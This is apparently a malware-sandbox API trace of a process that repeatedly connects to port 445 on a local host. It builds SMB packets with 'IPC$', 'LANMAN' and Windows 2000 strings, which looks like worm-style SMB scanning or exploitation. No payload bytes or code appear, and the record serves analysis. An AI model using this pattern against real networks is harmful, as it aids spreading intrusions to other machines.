[0238.038] realloc (_Block=0x281448, _Size=0x4) returned 0x2814e8
[0238.038] realloc (_Block=0x2814e8, _Size=0x1004) returned 0x2f9960
[0238.039] send (s=0xbc, buf=0x2f9960*, len=132, flags=0) returned 132
[0238.039] free (_Block=0x2f9960)
[0238.039] htons (hostshort=0x1122) returned 0x2211
[0238.039] malloc (_Size=0x2000) returned 0x2cf780
[0238.039] rand () returned 1889
[0238.039] rand () returned 5442
[0238.039] rand () returned 27159
[0238.039] rand () returned 9823
[0238.039] malloc (_Size=0x18) returned 0x277220
[0238.040] realloc (_Block=0x0, _Size=0x6) returned 0x2814e8
[0238.040] realloc (_Block=0x0, _Size=0xa) returned 0x38d870
[0238.040] strlen (_Str="LANMAN") returned 0x6
[0238.040] realloc (_Block=0x0, _Size=0x7) returned 0x281448
[0238.040] strlen (_Str="IPC$") returned 0x4
[0238.040] realloc (_Block=0x0, _Size=0x5) returned 0x282bc8
[0238.041] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.041] realloc (_Block=0x0, _Size=0x12) returned 0x277240
[0238.041] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.041] realloc (_Block=0x0, _Size=0x11) returned 0x277260
[0238.041] htons (hostshort=0x1bd) returned 0xbd01
[0238.041] socket (af=2, type=1, protocol=6) returned 0xc0
[0238.041] setsockopt (s=0xc0, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.042] connect (s=0xc0, name=0x2f9980*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.042] realloc (_Block=0x0, _Size=0x1) returned 0x282bd8
[0238.043] realloc (_Block=0x282bd8, _Size=0x2) returned 0x282be8
[0238.043] realloc (_Block=0x282be8, _Size=0x3) returned 0x282bd8
[0238.043] realloc (_Block=0x282bd8, _Size=0x4) returned 0x282be8
[0238.043] realloc (_Block=0x282be8, _Size=0x1004) returned 0x2fa9f8
[0238.043] send (s=0xc0, buf=0x2fa9f8*, len=132, flags=0) returned 132
[0238.043] free (_Block=0x2fa9f8)
[0238.044] htons (hostshort=0x1122) returned 0x2211
[0238.044] malloc (_Size=0x2000) returned 0x2d5798
[0238.044] rand () returned 19101
[0238.044] rand () returned 10353
[0238.044] rand () returned 8032
[0238.044] rand () returned 10627
[0238.044] malloc (_Size=0x18) returned 0x277280
[0238.044] realloc (_Block=0x0, _Size=0x6) returned 0x282be8
[0238.044] realloc (_Block=0x0, _Size=0xa) returned 0x38d8a0
[0238.045] strlen (_Str="LANMAN") returned 0x6
[0238.045] realloc (_Block=0x0, _Size=0x7) returned 0x282bd8
[0238.045] strlen (_Str="IPC$") returned 0x4
[0238.045] realloc (_Block=0x0, _Size=0x5) returned 0x282bf8
[0238.045] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.045] realloc (_Block=0x0, _Size=0x12) returned 0x2772a0
[0238.045] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.046] realloc (_Block=0x0, _Size=0x11) returned 0x2772c0
[0238.046] htons (hostshort=0x1bd) returned 0xbd01
[0238.046] socket (af=2, type=1, protocol=6) returned 0xc4
[0238.046] setsockopt (s=0xc4, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.047] connect (s=0xc4, name=0x2faa18*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.048] realloc (_Block=0x0, _Size=0x1) returned 0x282c08
[0238.048] realloc (_Block=0x282c08, _Size=0x2) returned 0x282c18
[0238.048] realloc (_Block=0x282c18, _Size=0x3) returned 0x282c08
[0238.048] realloc (_Block=0x282c08, _Size=0x4) returned 0x282c18
[0238.048] realloc (_Block=0x282c18, _Size=0x1004) returned 0x2fba90
[0238.049] send (s=0xc4, buf=0x2fba90*, len=132, flags=0) returned 132
[0238.049] free (_Block=0x2fba90)
[0238.050] htons (hostshort=0x1122) returned 0x2211
[0238.050] malloc (_Size=0x2000) returned 0x2db7b0
[0238.050] rand () returned 10066
[0238.050] rand () returned 30503
[0238.050] rand () returned 23094
[0238.050] rand () returned 916
[0238.050] malloc (_Size=0x18) returned 0x2772e0
[0238.050] realloc (_Block=0x0, _Size=0x6) returned 0x282c18
[0238.050] realloc (_Block=0x0, _Size=0xa) returned 0x38d888
[0238.051] strlen (_Str="LANMAN") returned 0x6
[0238.051] realloc (_Block=0x0, _Size=0x7) returned 0x282c08
[0238.051] strlen (_Str="IPC$") returned 0x4
[0238.051] realloc (_Block=0x0, _Size=0x5) returned 0x282c28
[0238.051] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.051] realloc (_Block=0x0, _Size=0x12) returned 0x277300
[0238.052] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.052] realloc (_Block=0x0, _Size=0x11) returned 0x277320
[0238.052] htons (hostshort=0x1bd) returned 0xbd01
[0238.052] socket (af=2, type=1, protocol=6) returned 0xc8
[0238.052] setsockopt (s=0xc8, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.052] connect (s=0xc8, name=0x2fbab0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.053] realloc (_Block=0x0, _Size=0x1) returned 0x282c38
[0238.053] realloc (_Block=0x282c38, _Size=0x2) returned 0x282c48
[0238.054] realloc (_Block=0x282c48, _Size=0x3) returned 0x282c38
[0238.054] realloc (_Block=0x282c38, _Size=0x4) returned 0x282c48
[0238.054] realloc (_Block=0x282c48, _Size=0x1004) returned 0x2fcb28
[0238.054] send (s=0xc8, buf=0x2fcb28*, len=132, flags=0) returned 132
[0238.054] free (_Block=0x2fcb28)
[0238.054] htons (hostshort=0x1122) returned 0x2211
[0238.055] malloc (_Size=0x2000) returned 0x2e17c8
[0238.055] rand () returned 28281
[0238.055] rand () returned 25600
[0238.055] rand () returned 29259
[0238.055] rand () returned 12027
[0238.055] malloc (_Size=0x18) returned 0x277340
[0238.055] realloc (_Block=0x0, _Size=0x6) returned 0x282c48
[0238.055] realloc (_Block=0x0, _Size=0xa) returned 0x38d810
[0238.055] strlen (_Str="LANMAN") returned 0x6
[0238.055] realloc (_Block=0x0, _Size=0x7) returned 0x282c38
[0238.056] strlen (_Str="IPC$") returned 0x4
[0238.056] realloc (_Block=0x0, _Size=0x5) returned 0x282c58
[0238.056] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.056] realloc (_Block=0x0, _Size=0x12) returned 0x277360
[0238.056] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.056] realloc (_Block=0x0, _Size=0x11) returned 0x277380
[0238.056] htons (hostshort=0x1bd) returned 0xbd01
[0238.056] socket (af=2, type=1, protocol=6) returned 0xcc
[0238.057] setsockopt (s=0xcc, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.057] connect (s=0xcc, name=0x2fcb48*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.058] realloc (_Block=0x0, _Size=0x1) returned 0x282c68
[0238.058] realloc (_Block=0x282c68, _Size=0x2) returned 0x282c78
[0238.058] realloc (_Block=0x282c78, _Size=0x3) returned 0x282c68
[0238.058] realloc (_Block=0x282c68, _Size=0x4) returned 0x282c78
[0238.058] realloc (_Block=0x282c78, _Size=0x1004) returned 0x2fdbc0
[0238.059] send (s=0xcc, buf=0x2fdbc0*, len=132, flags=0) returned 132
[0238.059] free (_Block=0x2fdbc0)
[0238.059] htons (hostshort=0x1122) returned 0x2211
[0238.059] malloc (_Size=0x2000) returned 0x2e77e0
[0238.060] rand () returned 27259
[0238.060] rand () returned 13623
[0238.060] rand () returned 9317
[0238.060] rand () returned 18150
[0238.060] malloc (_Size=0x18) returned 0x2773a0
[0238.060] realloc (_Block=0x0, _Size=0x6) returned 0x282c78
[0238.060] realloc (_Block=0x0, _Size=0xa) returned 0x38d858
[0238.060] strlen (_Str="LANMAN") returned 0x6
[0238.060] realloc (_Block=0x0, _Size=0x7) returned 0x282c68
[0238.060] strlen (_Str="IPC$") returned 0x4
[0238.061] realloc (_Block=0x0, _Size=0x5) returned 0x282c88
[0238.061] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.061] realloc (_Block=0x0, _Size=0x12) returned 0x2773c0
[0238.061] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.061] realloc (_Block=0x0, _Size=0x11) returned 0x2773e0
[0238.061] htons (hostshort=0x1bd) returned 0xbd01
[0238.061] socket (af=2, type=1, protocol=6) returned 0xd0
[0238.062] setsockopt (s=0xd0, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.062] connect (s=0xd0, name=0x2fdbe0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.063] realloc (_Block=0x0, _Size=0x1) returned 0x282c98
[0238.063] realloc (_Block=0x282c98, _Size=0x2) returned 0x282ca8
[0238.063] realloc (_Block=0x282ca8, _Size=0x3) returned 0x282c98
[0238.063] realloc (_Block=0x282c98, _Size=0x4) returned 0x282ca8
[0238.063] realloc (_Block=0x282ca8, _Size=0x1004) returned 0x2fec58
[0238.063] send (s=0xd0, buf=0x2fec58*, len=132, flags=0) returned 132
[0238.064] free (_Block=0x2fec58)
[0238.064] htons (hostshort=0x1122) returned 0x2211
[0238.064] malloc (_Size=0x2000) returned 0x2ed7f8
[0238.064] rand () returned 1209
[0238.064] rand () returned 9264
[0238.064] rand () returned 25568
[0238.064] rand () returned 4805
[0238.065] malloc (_Size=0x18) returned 0x277400
[0238.065] realloc (_Block=0x0, _Size=0x6) returned 0x282ca8
[0238.065] realloc (_Block=0x0, _Size=0xa) returned 0x38d840
[0238.065] strlen (_Str="LANMAN") returned 0x6
[0238.065] realloc (_Block=0x0, _Size=0x7) returned 0x282c98
[0238.065] strlen (_Str="IPC$") returned 0x4
[0238.065] realloc (_Block=0x0, _Size=0x5) returned 0x282cb8
[0238.066] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.066] realloc (_Block=0x0, _Size=0x12) returned 0x277420
[0238.066] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.066] realloc (_Block=0x0, _Size=0x11) returned 0x277440
[0238.066] htons (hostshort=0x1bd) returned 0xbd01
[0238.066] socket (af=2, type=1, protocol=6) returned 0xd4
[0238.066] setsockopt (s=0xd4, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.067] connect (s=0xd4, name=0x2fec78*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.068] malloc (_Size=0x400) returned 0x272ea8
[0238.068] malloc (_Size=0x400) returned 0x2ffcf0
[0238.068] strlen (_Str="PC NETWORK PROGRAM 1.0") returned 0x16
[0238.068] strlen (_Str="LANMAN1.0") returned 0x9
[0238.069] strlen (_Str="Windows for Workgroups 3.1a") returned 0x1b
[0238.069] strlen (_Str="LM1.2X002") returned 0x9
[0238.069] strlen (_Str="LANMAN2.1") returned 0x9
[0238.069] strlen (_Str="NT LM 0.12") returned 0xa
[0238.069] realloc (_Block=0x0, _Size=0x1000) returned 0x3000f8
[0238.070] send (s=0xd4, buf=0x3000f8*, len=137, flags=0) returned 137
[0238.070] select (in: nfds=213, readfds=0x2c4f7e8, writefds=0x0, exceptfds=0x0, timeout=0x2c4f8ec*(tv_sec=120, tv_usec=0) | out: readfds=0x2c4f7e8, writefds=0x0, exceptfds=0x0) returned 1
[0238.071] recv (in: s=0xd4, buf=0x272ea8, len=1024, flags=0 | out: buf=0x272ea8*) returned 131
[0238.071] realloc (_Block=0x0, _Size=0x1000) returned 0x3000f8
[0238.071] send (s=0xd4, buf=0x3000f8*, len=85, flags=0) returned 85
[0238.072] select (in: nfds=213, readfds=0x2c4f8a0, writefds=0x0, exceptfds=0x0, timeout=0x2c4f9a4*(tv_sec=120, tv_usec=0) | out: readfds=0x2c4f8a0, writefds=0x0, exceptfds=0x0) returned 1
[0238.072] recv (in: s=0xd4, buf=0x2ffcf0, len=1024, flags=0 | out: buf=0x2ffcf0*) returned 125
[0238.072] free (_Block=0x2ffcf0)
[0238.073] free (_Block=0x3000f8)
[0238.073] closesocket (s=0x9c) returned 0
[0238.073] free (_Block=0x297438)
[0238.074] free (_Block=0x299440)
[0238.074] free (_Block=0x295430)
[0238.074] free (_Block=0x281358)
[0238.074] free (_Block=0x2812f8)
[0238.074] free (_Block=0x276ee0)
[0238.074] free (_Block=0x276f00)
[0238.074] free (_Block=0x281308)
[0238.074] free (_Block=0x38d990)
[0238.074] free (_Block=0x276e80)
[0238.074] free (_Block=0x294398)
[0238.075] htons (hostshort=0x1122) returned 0x2211
[0238.075] malloc (_Size=0x2000) returned 0x300da0
[0238.079] rand () returned 15110
[0238.079] rand () returned 31985
[0238.079] rand () returned 31785
[0238.079] rand () returned 8653
[0238.079] malloc (_Size=0x18) returned 0x276e80
[0238.080] realloc (_Block=0x0, _Size=0x6) returned 0x281308
[0238.080] realloc (_Block=0x0, _Size=0xa) returned 0x38d990
[0238.080] strlen (_Str="LANMAN") returned 0x6
[0238.080] realloc (_Block=0x0, _Size=0x7) returned 0x2812f8
[0238.081] strlen (_Str="IPC$") returned 0x4
[0238.081] realloc (_Block=0x0, _Size=0x5) returned 0x281358
[0238.081] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.081] realloc (_Block=0x0, _Size=0x12) returned 0x276f00
[0238.081] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.081] realloc (_Block=0x0, _Size=0x11) returned 0x276ee0
[0238.081] htons (hostshort=0x1bd) returned 0xbd01
[0238.081] socket (af=2, type=1, protocol=6) returned 0x9c
[0238.082] setsockopt (s=0x9c, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.082] connect (s=0x9c, name=0x2ffd10*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.083] realloc (_Block=0x0, _Size=0x1) returned 0x282cc8
[0238.083] realloc (_Block=0x282cc8, _Size=0x2) returned 0x282cd8
[0238.083] realloc (_Block=0x282cd8, _Size=0x3) returned 0x282cc8
[0238.083] realloc (_Block=0x282cc8, _Size=0x4) returned 0x282cd8
[0238.084] realloc (_Block=0x282cd8, _Size=0x1004) returned 0x340d88
[0238.084] send (s=0x9c, buf=0x340d88*, len=132, flags=0) returned 132
[0238.084] free (_Block=0x340d88)
[0238.084] htons (hostshort=0x1122) returned 0x2211
[0238.084] malloc (_Size=0x2000) returned 0x306db8
[0238.085] rand () returned 25898
[0238.085] rand () returned 19874
[0238.085] rand () returned 578
[0238.085] rand () returned 30327
[0238.085] malloc (_Size=0x18) returned 0x277460
[0238.085] realloc (_Block=0x0, _Size=0x6) returned 0x282cd8
[0238.085] realloc (_Block=0x0, _Size=0xa) returned 0x38d828
[0238.085] strlen (_Str="LANMAN") returned 0x6
[0238.085] realloc (_Block=0x0, _Size=0x7) returned 0x282cc8
[0238.085] strlen (_Str="IPC$") returned 0x4
[0238.086] realloc (_Block=0x0, _Size=0x5) returned 0x282ce8
[0238.086] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.086] realloc (_Block=0x0, _Size=0x12) returned 0x277480
[0238.086] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.086] realloc (_Block=0x0, _Size=0x11) returned 0x2778c0
[0238.086] htons (hostshort=0x1bd) returned 0xbd01
[0238.086] socket (af=2, type=1, protocol=6) returned 0xd8
[0238.087] setsockopt (s=0xd8, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.087] connect (s=0xd8, name=0x340da8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.088] realloc (_Block=0x0, _Size=0x1) returned 0x282cf8
[0238.088] realloc (_Block=0x282cf8, _Size=0x2) returned 0x282d08
[0238.088] realloc (_Block=0x282d08, _Size=0x3) returned 0x282cf8
[0238.088] realloc (_Block=0x282cf8, _Size=0x4) returned 0x282d08
[0238.088] realloc (_Block=0x282d08, _Size=0x1004) returned 0x341e20
[0238.089] send (s=0xd8, buf=0x341e20*, len=132, flags=0) returned 132
[0238.089] free (_Block=0x341e20)
[0238.093] htons (hostshort=0x1122) returned 0x2211
[0238.093] malloc (_Size=0x2000) returned 0x30cdd0
[0238.093] rand () returned 19039
[0238.093] rand () returned 9747
[0238.093] rand () returned 5699
[0238.093] rand () returned 16895
[0238.093] malloc (_Size=0x18) returned 0x2778e0
[0238.093] realloc (_Block=0x0, _Size=0x6) returned 0x282d08
[0238.093] realloc (_Block=0x0, _Size=0xa) returned 0x38d7c8
[0238.093] strlen (_Str="LANMAN") returned 0x6
[0238.093] realloc (_Block=0x0, _Size=0x7) returned 0x282cf8
[0238.094] strlen (_Str="IPC$") returned 0x4
[0238.094] realloc (_Block=0x0, _Size=0x5) returned 0x282d18
[0238.094] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.094] realloc (_Block=0x0, _Size=0x12) returned 0x277900
[0238.094] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.094] realloc (_Block=0x0, _Size=0x11) returned 0x277920
[0238.094] htons (hostshort=0x1bd) returned 0xbd01
[0238.094] socket (af=2, type=1, protocol=6) returned 0xdc
[0238.097] setsockopt (s=0xdc, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.097] connect (s=0xdc, name=0x341e58*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.097] realloc (_Block=0x0, _Size=0x1) returned 0x282d28
[0238.098] realloc (_Block=0x282d28, _Size=0x2) returned 0x282d38
[0238.098] realloc (_Block=0x282d38, _Size=0x3) returned 0x282d28
[0238.098] realloc (_Block=0x282d28, _Size=0x4) returned 0x282d38
[0238.098] realloc (_Block=0x282d38, _Size=0x1004) returned 0x361e20
[0238.098] send (s=0xdc, buf=0x361e20*, len=132, flags=0) returned 132
[0238.098] free (_Block=0x361e20)
[0238.099] htons (hostshort=0x1122) returned 0x2211
[0238.099] malloc (_Size=0x2000) returned 0x312de8
[0238.099] rand () returned 1749
[0238.099] rand () returned 26420
[0238.099] rand () returned 29909
[0238.099] rand () returned 12263
[0238.099] malloc (_Size=0x18) returned 0x277940
[0238.099] realloc (_Block=0x0, _Size=0x6) returned 0x282d38
[0238.099] realloc (_Block=0x0, _Size=0xa) returned 0x38d7f8
[0238.099] strlen (_Str="LANMAN") returned 0x6
[0238.099] realloc (_Block=0x0, _Size=0x7) returned 0x282d28
[0238.100] strlen (_Str="IPC$") returned 0x4
[0238.100] realloc (_Block=0x0, _Size=0x5) returned 0x282d48
[0238.100] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.100] realloc (_Block=0x0, _Size=0x12) returned 0x277960
[0238.100] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.100] realloc (_Block=0x0, _Size=0x11) returned 0x277980
[0238.100] htons (hostshort=0x1bd) returned 0xbd01
[0238.100] socket (af=2, type=1, protocol=6) returned 0xe0
[0238.101] setsockopt (s=0xe0, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.101] connect (s=0xe0, name=0x342f60*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.102] realloc (_Block=0x0, _Size=0x1) returned 0x282d58
[0238.102] realloc (_Block=0x282d58, _Size=0x2) returned 0x276760
[0238.103] realloc (_Block=0x276760, _Size=0x3) returned 0x282d58
[0238.103] realloc (_Block=0x282d58, _Size=0x4) returned 0x276760
[0238.103] realloc (_Block=0x276760, _Size=0x1004) returned 0x361e20
[0238.103] send (s=0xe0, buf=0x361e20*, len=132, flags=0) returned 132
[0238.103] free (_Block=0x361e20)
[0238.103] htons (hostshort=0x1122) returned 0x2211
[0238.104] malloc (_Size=0x2000) returned 0x318e00
[0238.104] rand () returned 16687
[0238.104] rand () returned 8860
[0238.104] rand () returned 22711
[0238.104] rand () returned 16756
[0238.104] malloc (_Size=0x18) returned 0x2779a0
[0238.104] realloc (_Block=0x0, _Size=0x6) returned 0x282d58
[0238.104] realloc (_Block=0x0, _Size=0xa) returned 0x38d7e0
[0238.104] strlen (_Str="LANMAN") returned 0x6
[0238.104] realloc (_Block=0x0, _Size=0x7) returned 0x276760
[0238.105] strlen (_Str="IPC$") returned 0x4
[0238.105] realloc (_Block=0x0, _Size=0x5) returned 0x276770
[0238.105] strlen (_Str="Windows 2000 2195") returned 0x11
[0238.105] realloc (_Block=0x0, _Size=0x12) returned 0x2779c0
[0238.105] strlen (_Str="Windows 2000 5.0") returned 0x10
[0238.105] realloc (_Block=0x0, _Size=0x11) returned 0x2779e0
[0238.105] htons (hostshort=0x1bd) returned 0xbd01
[0238.105] socket (af=2, type=1, protocol=6) returned 0xe4
[0238.106] setsockopt (s=0xe4, level=65535, optname=128, optval="", optlen=4) returned 0
[0238.106] connect (s=0xe4, name=0x344068*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.154"), namelen=16) returned 0
[0238.107] realloc (_Block=0x0, _Size=0x1) returned 0x276780
[0238.107] realloc (_Block=0x276780, _Size=0x2) returned 0x276790
[0238.107] realloc (_Block=0x276790, _Size=0x3) returned 0x276780
[0238.107] realloc (_Block=0x276780, _Size=0x4) returned 0x276790
[0238.108] realloc (_Block=0x276790, _Size=0x1004) returned 0x361e20
[0238.108] send (s=0xe4, buf=0x361e20*, len=132, flags=0) returned 132
[0238.108] free (_Block=0x361e20)
[0239.110] closesocket (s=0xd4) returned 0
[0239.111] free (_Block=0x2ef800)
[0239.111] free (_Block=0x2f1808)
[0239.111] free (_Block=0x2ed7f8)
[0239.111] free (_Block=0x282cb8)
[0239.111] free (_Block=0x282c98)
[0239.111] free (_Block=0x277420)
[0239.112] free (_Block=0x277440)
[0239.112] free (_Block=0x282ca8)
[0239.112] free (_Block=0x38d840)
[0239.112] free (_Block=0x277400)
[0239.112] free (_Block=0x2fec58)
[0239.112] strlen (_Str="JlJmIhClBsr") returned 0xb
[0239.112] strlen (_Str="JlJmIhClBsr") returned 0xb
[0239.112] realloc (_Block=0x0, _Size=0x1000) returned 0x2fec58
[0239.112] send (s=0x98, buf=0x2fec58*, len=53, flags=0) returned 53
[0239.113] select (in: nfds=153, readfds=0x2c4f948, writefds=0x0, exceptfds=0x0, timeout=0x2c4fa4c*(tv_sec=90, tv_usec=0) | out: readfds=0x2c4f948, writefds=0x0, exceptfds=0x0) returned 1
[0239.113] recv (in: s=0x98, buf=0x27d130, len=8192, flags=0 | out: buf=0x27d130*) returned 53
[0239.113] realloc (_Block=0x0, _Size=0x1000) returned 0x2fec58
[0239.113] realloc (_Block=0x0, _Size=0x1000) returned 0x2fec58
[0239.113] realloc (_Block=0x2fec58, _Size=0x1001) returned 0x2fec58
[0239.113] realloc (_Block=0x2fec58, _Size=0x1002) returned 0x2fec58
[0239.113] realloc (_Block=0x2fec58, _Size=0x1003) returned 0x2fec58
[0239.114] realloc (_Block=0x2fec58, _Size=0x1004) returned 0x2fec58
[0239.114] realloc (_Block=0x2fec58, _Size=0x1005) returned 0x2fec58
[0239.114] realloc (_Block=0x2fec58, _Size=0x1006) returned 0x2fec58
[0239.114] realloc (_Block=0x2fec58, _Size=0x1007) returned 0x2fec58
[0239.114] realloc (_Block=0x2fec58, _Size=0x1008) returned 0x2fec58
[0239.114] realloc (_Block=0x2fec58, _Size=0x1009) returned 0x2fec58
[0239.114] realloc (_Block=0x2fec58, _Size=0x100a) returned 0x2fec58
[0239.114] realloc (_Block=0x2fec58, _Size=0x100b) returned 0x2fec58
[0239.114] realloc (_Block=0x2fec58, _Size=0x100c) returned 0x2fec58
[0239.115] realloc (_Block=0x2fec58, _Size=0x100d) returned 0x2fec58
[0239.115] realloc (_Block=0x2fec58, _Size=0x100e) returned 0x2fec58
[0239.115] realloc (_Block=0x2fec58, _Size=0x100f) returned 0x2fec58
[0239.115] realloc (_Block=0x2fec58, _Size=0x1010) returned 0x2fec58
[0239.115] realloc (_Block=0x2fec58, _Size=0x1011) returned 0x2fec58
[0239.115] realloc (_Block=0x2fec58, _Size=0x1012) returned 0x2fec58
[0239.115] realloc (_Block=0x2fec58, _Size=0x1013) returned 0x2fec58
[0239.115] realloc (_Block=0x2fec58, _Size=0x1014) returned 0x2fec58
[0239.115] realloc (_Block=0x2fec58, _Size=0x1015) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x1016) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x1017) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x1018) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x1019) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x101a) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x101b) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x101c) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x101d) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x101e) returned 0x2fec58
[0239.116] realloc (_Block=0x2fec58, _Size=0x101f) returned 0x2fec58
[0239.117] realloc (_Block=0x2fec58, _Size=0x1020) returned 0x2fec58
[0239.117] realloc (_Block=0x2fec58, _Size=0x1021) returned 0x2fec58
[0239.117] realloc (_Block=0x2fec58, _Size=0x1022) returned 0x2fec58
[0239.117] realloc (_Block=0x2fec58, _Size=0x1023) returned 0x2fec58
[0239.117] realloc (_Block=0x2fec58, _Size=0x1024) returned 0x2fec58
[0239.117] realloc (_Block=0x2fec58, _Size=0x1025) returned 0x2fec58
[0239.117] realloc (_Block=0x2fec58, _Size=0x1026) returned 0x2fec58
[0239.117] realloc (_Block=0x2fec58, _Size=0x1027) returned 0x2fec58
[0239.117] realloc (_Block=0x2fec58, _Size=0x1028) returned 0x2fec58
[0239.118] realloc (_Block=0x2fec58, _Size=0x1029) returned 0x2fec58
[0239.118] realloc (_Block=0x2fec58, _Size=0x102a) returned 0x2fec58
[0239.118] realloc (_Block=0x2fec58, _Size=0x102b) returned 0x2fec58
[0239.118] realloc (_Block=0x2fec58, _Size=0x102c) returned 0x2fec58
[0239.118] realloc (_Block=0x2fec58, _Size=0x102d) returned 0x2fec58
[0239.118] realloc (_Block=0x2fec58, _Size=0x102e) returned 0x2fec58
[0239.118] realloc (_Block=0x2fec58, _Size=0x102f) returned 0x2fec58
[0239.118] realloc (_Block=0x2fec58, _Size=0x1030) returned 0x2fec58
[0239.118] realloc (_Block=0x2fec58, _Size=0x1031) returned 0x2fec58
[0239.119] realloc (_Block=0x2fec58, _Size=0x1032) returned 0x2fec58
[0239.119] realloc (_Block=0x2fec58, _Size=0x1033) returned 0x2fec58
[0239.119] realloc (_Block=0x2fec58, _Size=0x1034) returned 0x2fec58
[0239.119] realloc (_Block=0x2fec58, _Size=0x1035) returned 0x2fec58
[0239.119] realloc (_Block=0x2fec58, _Size=0x1036) returned 0x2fec58
[0239.119] realloc (_Block=0x2fec58, _Size=0x1037) returned 0x2fec58
[0239.119] realloc (_Block=0x2fec58, _Size=0x1038) returned 0x2fec58
[0239.119] realloc (_Block=0x2fec58, _Size=0x1039) returned 0x2fec58
[0239.119] realloc (_Block=0x0, _Size=0x1000) returned 0x2fec58
[0239.120] realloc (_Block=0x2fec58, _Size=0x1001) returned 0x2fec58
[0239.120] realloc (_Block=0x2fec58, _Size=0x1002) returned 0x2fec58
[0239.120] realloc (_Block=0x2fec58, _Size=0x1003) returned 0x2fec58
[0239.120] realloc (_Block=0x2fec58, _Size=0x1004) returned 0x2fec58
[0239.120] realloc (_Block=0x2fec58, _Size=0x1005) returned 0x2fec58
[0239.120] realloc (_Block=0x2fec58, _Size=0x1006) returned 0x2fec58
[0239.120] realloc (_Block=0x2fec58, _Size=0x1007) returned 0x2fec58
[0239.120] realloc (_Block=0x2fec58, _Size=0x1008) returned 0x2fec58
[0239.121] realloc (_Block=0x2fec58, _Size=0x1009) returned 0x2fec58
[0239.121] realloc (_Block=0x2fec58, _Size=0x100a) returned 0x2fec58
[0239.121] realloc (_Block=0x2fec58, _Size=0x100b) returned 0x2fec58
[0239.121] realloc (_Block=0x2fec58, _Size=0x100c) returned 0x2fec58
[0239.121] realloc (_Block=0x2fec58, _Size=0x100d) returned 0x2fec58
[0239.121] realloc (_Block=0x2fec58, _Size=0x100e) returned 0x2fec58
[0239.121] realloc (_Block=0x2fec58, _Size=0x100f) returned 0x2fec58
[0239.121] realloc (_Block=0x2fec58, _Size=0x1010) returned 0x2fec58
[0239.122] realloc (_Block=0x2fec58, _Size=0x1011) returned 0x2fec58
[0239.122] realloc (_Block=0x2fec58, _Size=0x1012) returned 0x2fec58
[0239.122] realloc (_Block=0x2fec58, _Size=0x1013) returned 0x2fec58
[0239.122] realloc (_Block=0x2fec58, _Size=0x1014) returned 0x2fec58
[0239.122] realloc (_Block=0x2fec58, _Size=0x1015) returned 0x2fec58
[0239.122] realloc (_Block=0x2fec58, _Size=0x1016) returned 0x2fec58
[0239.122] realloc (_Block=0x2fec58, _Size=0x1017) returned 0x2fec58
[0239.122] realloc (_Block=0x2fec58, _Size=0x1018) returned 0x2fec58
[0239.123] realloc (_Block=0x2fec58, _Size=0x1019) returned 0x2fec58
[0239.123] realloc (_Block=0x2fec58, _Size=0x101a) returned 0x2fec58
[0239.123] realloc (_Block=0x2fec58, _Size=0x101b) returned 0x2fec58
[0239.123] realloc (_Block=0x2fec58, _Size=0x101c) returned 0x2fec58
[0239.123] realloc (_Block=0x2fec58, _Size=0x101d) returned 0x2fec58
[0239.123] realloc (_Block=0x2fec58, _Size=0x101e) returned 0x2fec58
[0239.123] realloc (_Block=0x2fec58, _Size=0x101f) returned 0x2fec58
[0239.123] realloc (_Block=0x2fec58, _Size=0x1020) returned 0x2fec58
[0239.124] realloc (_Block=0x2fec58, _Size=0x1021) returned 0x2fec58
